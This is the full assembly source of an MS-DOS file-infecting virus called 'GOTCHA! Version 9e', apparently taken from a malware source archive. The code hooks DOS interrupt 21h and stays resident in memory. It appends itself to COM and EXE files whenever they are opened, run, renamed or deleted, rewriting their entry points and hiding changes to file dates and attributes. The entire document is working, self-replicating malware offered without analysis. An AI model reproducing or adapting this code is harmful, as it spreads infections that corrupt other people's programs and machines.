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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.gotcha9e.asm

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2021-01-12 23:44:11 +00:00
;****************************************************************************
;* GOTCHA! Version 9e
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
org 100h
SIGNLEN equ signend - signature
FILELEN equ end - begin
RESPAR equ (FILELEN/16) + 17
VERSION equ 9
BUFLEN equ 20h
COMSIGN equ 0
EXESIGN equ 1
MINTARGET equ 1000
MAXTARGET equ -FILELEN
.RADIX 16
;****************************************************************************
;* Start the program!
;****************************************************************************
begin: xor bx,bx
call install
int 20
;****************************************************************************
;* Data
;****************************************************************************
buffer db BUFLEN dup (?)
oi21 dw ?,?
oldlen dw ?,?
nameptr dw ?,?
handle dw ?
comexe db ?
;****************************************************************************
;* File-extensions
;****************************************************************************
EXE_txt db 'EXE'
COM_txt db 'COM'
;****************************************************************************
;* Interupt handler 24
;****************************************************************************
ni24: mov al,03
iret
;****************************************************************************
;* Interupt handler 21
;****************************************************************************
ni21: pushf
cmp ax,0DADAh ;install-check ?
je do_DADA
push dx
push cx
push bx
push ax
push si
push di
push ds
push es
cmp ax,6C00h ;open/create 4.00 ?
je do_6C00
cmp ah,56h ;rename ?
je doit
cmp ah,4Eh ;findfirst ?
je doit ;(only works without wildcards)
cmp ah,4Bh ;load / execute ?
je doit
cmp ah,43h ;attributes
je doit
cmp ah,41h ;delete ?
je doit ;(it might be un-deleted!)
cmp ah,3Dh ;open ?
je do_3D
cmp ah,17h ;FCB-rename?
je doFCB
cmp ah,13h ;FCB-delete?
jne exit
doFCB: call FCBtoASC ;COMMAND.COM still uses FCB's!
doit: call infect
exit: pop es
pop ds
pop di
pop si
pop ax
pop bx
pop cx
pop dx
popf
jmp dword ptr cs:[oi21] ;call to old int-handler
do_3D: test al,03h ;only if opened for READING
jne exit
jmp short doit
do_6C00: test bl,03h ;idem
jne exit
mov dx,di ;ptr was DS:DI
jmp short doit
do_DADA: mov ax,0A500h+VERSION ;return a signature
popf
iret
;****************************************************************************
;* Old Interupt handler 21
;****************************************************************************
org21: pushf
call dword ptr cs:[oi21] ;call to old int-handler
ret
;****************************************************************************
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
;****************************************************************************
infect: cld
mov cs:[nameptr],dx ;save the ptr to the filename
mov cs:[nameptr+2],ds
mov ah,62h ;get segment-adres of PSP
int 21
mov ds,bx ;get seg-adres of environment
mov ax,ds:002Ch
mov ds,ax
mov si,0
envloop: cmp ds:[si],byte ptr 0 ;end of environment?
je verder7
push cs
pop es
mov di,offset envstring
mov bx,0
scloop: mov al,ds:[si] ;check the current env-item
cmpsb
je scv1
inc bx ;characters don't match!
scv1: cmp al,0 ;end of env-item?
jne scloop
cmp bx,0 ;did all characters match?
je return
jmp short envloop
verder7: push cs ;check the filename
pop ds
les di,dword ptr [nameptr]
mov dx,di
mov cx,80 ;search end of filename (-EXT)
mov al,'.'
repnz scasb
mov bx,di
std ;find begin of filename
mov cl,11
mov al,'\'
repnz scasb
cld
je vvv
mov di,dx
jmp short vvv2
vvv: add di,2
vvv2: mov al,'V' ;is it V*.* ?
scasb
je return
mov cl,7 ;is it *AN*.* ?
mov ax,'NA'
ANloop: dec di
scasw
loopnz ANloop
je return
mov si,offset EXE_txt ;is extension 'EXE'?
mov di,bx
mov cx,3
rep cmpsb
jnz verder4
mov byte ptr [comexe],EXESIGN
jmp short verder3
return: ret
verder4: mov si,offset COM_txt ;is extension 'COM'?
mov di,bx
mov cx,3
rep cmpsb
jnz return
mov byte ptr [comexe],COMSIGN
verder3: mov ax,3300h ;get ctrl-break flag
int 21
push dx
xor dl,dl ;clear the flag
mov ax,3301h
int 21
mov ax,3524h ;get int24 vector
int 21
push bx
push es
push cs ;set int24 vec to new handler
pop ds
mov dx,offset ni24
mov ax,2524h
int 21
lds dx,dword ptr [nameptr] ;get file-attribute
mov ax,4300h
call org21
push cx
and cx,0F8h ;clear READ-ONLY-flag
call setattr
jc return1_v
push cs ;open the file
pop ds
lds dx,dword ptr [nameptr]
mov ax,3D02h
int 21
jnc verder2
return1_v: jmp return1 ;something went wrong... :-(
verder2: push cs ;save handle
pop ds
mov [handle],ax
mov bx,[handle] ;get file date & time
mov ax,5700h
int 21
push cx
push dx
call endptr ;get file-length
mov [oldlen],ax
mov [oldlen+2],dx
sub ax,SIGNLEN ;move ptr to end - SIGNLEN
sbb dx,0
mov cx,dx
mov dx,ax
mov al,00h
call ptrmov
mov cx,SIGNLEN ;read the last bytes
mov dx,offset buffer
call flread
jc return2_v
push cs ;compare bytes with signature
pop es
mov di,offset buffer
mov si,offset signature
mov cx,SIGNLEN
rep cmpsb
jz return2_v
call beginptr ;read begin of file
mov cx,BUFLEN
mov dx,offset buffer
call flread
cmp byte ptr [comexe],EXESIGN
jz do_exe
do_com: cmp word ptr [oldlen],MAXTARGET ;check length of file
jnb return2
cmp word ptr [oldlen],MINTARGET
jbe return2
call writeprog ;write program to end of file
jc return2
mov ax,[oldlen] ;calculate new start-adres
add ax,(offset entry - 0103h)
mov byte ptr [buffer],0E9h ;'JMP'
mov word ptr [buffer+1],ax
jmp short verder1
return2_v: jmp short return2
do_exe: call writeprog ;write program to end of file
jc return2
mov ax,[oldlen] ;calculate new length
mov dx,[oldlen+2]
add ax,FILELEN
adc dx,0
mov cl,9 ;put new length in header
shr ax,cl
mov cl,7
shl dx,cl
or ax,dx
inc ax
mov word ptr [buffer+4],ax
mov ax,[oldlen]
add ax,FILELEN
and ax,01FFh
mov word ptr [buffer+2],ax
mov ax,[oldlen] ;calculate new CS & IP
mov dx,[oldlen+2]
mov bx,word ptr [buffer+8]
push ax
mov cl,4
shr ax,cl
mov cl,0Ch
shl dx,cl
add ax,dx
sub ax,bx
mov word ptr [buffer+16h],ax ;put CS in header
pop ax
and ax,000Fh
add ax,(offset entry - 0100h)
mov word ptr [buffer+14h],ax ;put IP in header
verder1: call beginptr ;write new begin of file
mov cx,BUFLEN
mov dx,offset buffer
call flwrite
return2: mov bx,[handle] ;restore file date & time
pop dx
pop cx
mov ax,5701h
int 21
mov bx,[handle] ;close the file
mov ah,3Eh
int 21
return1: pop cx ;restore file-attribute
call setattr
pop ds ;restore int24 vector
pop dx
mov ax,2524h
int 21
pop dx ;restore ctrl-break flag
mov ax,3301h
int 21
ret
;****************************************************************************
;* Gets ASCIIZ-filename from FCB
;****************************************************************************
FCBtoASC: mov si,dx
lodsb
inc al ;extended FCB?
jne normal_FCB
add si,7
normal_FCB: push cs
pop es
xor di,di ;adres for ASCIIZ-name
mov dx,di
mov cx,8
FCB_loop: lodsb ;copy all except spaces
cmp al,' '
je FCB_verder
stosb
FCB_verder: loop FCB_loop
mov al,'.' ;append a '.'
stosb
mov cl,3 ;and the extension
rep movsb
xchg ax,cx ;and a final zero.
stosb
push es
pop ds
ret
;****************************************************************************
;* Changes file-attributes
;****************************************************************************
setattr: lds dx,dword ptr cs:[nameptr]
mov ax,4301h
call org21
ret
;****************************************************************************
;* Writes program to end of file
;****************************************************************************
writeprog: call endptr
mov cx,FILELEN
mov dx,offset begin
; call flwrite ;Hmm, save a few bytes!
; ret
;****************************************************************************
;* Subroutines for reading/writing
;****************************************************************************
flwrite: mov ah,40h
jmp short flvrdr
flread: mov ah,3Fh
flvrdr: push cs
pop ds
mov bx,cs:[handle]
int 21
ret
;****************************************************************************
;* Subroutines for file-pointer
;****************************************************************************
beginptr: mov al,00h ;go to begin of file
jmp short ptrvrdr
endptr: mov al,02h ;go to end of file
ptrvrdr: xor cx,cx
xor dx,dx
ptrmov: mov bx,cs:[handle] ;go somewhere
mov ah,42h
int 21
ret
;****************************************************************************
;* This is where infected files start
;****************************************************************************
entry: call entry2
entry2: pop bx
sub bx,offset entry2 ;CS:BX is begin program - 100h
pushf
cld
cmp byte ptr cs:[bx+offset comexe],COMSIGN
jz entryC
entryE: mov ax,ds ;put old start-adres on stack
add ax,10
add ax,cs:[bx+offset buffer+016h]
push ax
push cs:[bx+offset buffer+014h]
jmp short entcheck
entryC: mov ax,bx ;restore old file-begin
add ax,offset buffer
mov si,ax
mov di,0100
mov cx,BUFLEN
rep movsb
push cs ;put old start-adres on stack
mov ax,0100h
push ax
entcheck: mov ax,0DADAh ;already installed?
int 21h
cmp ah,0A5h
je entstop
call install ;install the program
entstop: iret
;****************************************************************************
;* Install the program at top of memory
;****************************************************************************
install: push ds
push es
xor ax,ax ;get original int21 vector
mov es,ax
mov cx,word ptr es:0084h
mov dx,word ptr es:0086h
mov cs:[bx+offset oi21],cx
mov cs:[bx+offset oi21+2],dx
mov ax,ds ;adjust memory-size
dec ax
mov es,ax
cmp byte ptr es:[0000h],5Ah
jnz cancel
mov ax,es:[0003h]
sub ax,RESPAR
jb cancel
mov es:[0003h],ax
sub es:[0012h], word ptr RESPAR
push cs ;copy program to top
pop ds
mov es,es:[0012h]
mov ax,bx
add ax,0100
mov si,ax
mov di,0100h
mov cx,FILELEN
rep movsb
mov dx,offset ni21 ;set vector to new handler
push es
pop ds
mov ax,2521h
int 21h
cancel: pop es
pop ds
ret
;****************************************************************************
;* Text and Signature
;****************************************************************************
envstring: db 'E=mc<6D>',0 ;put this in your environment!
signature: db 'GOTCHA!',0 ;I have got you! :-)
signend:
end:
cseg ends
end begin

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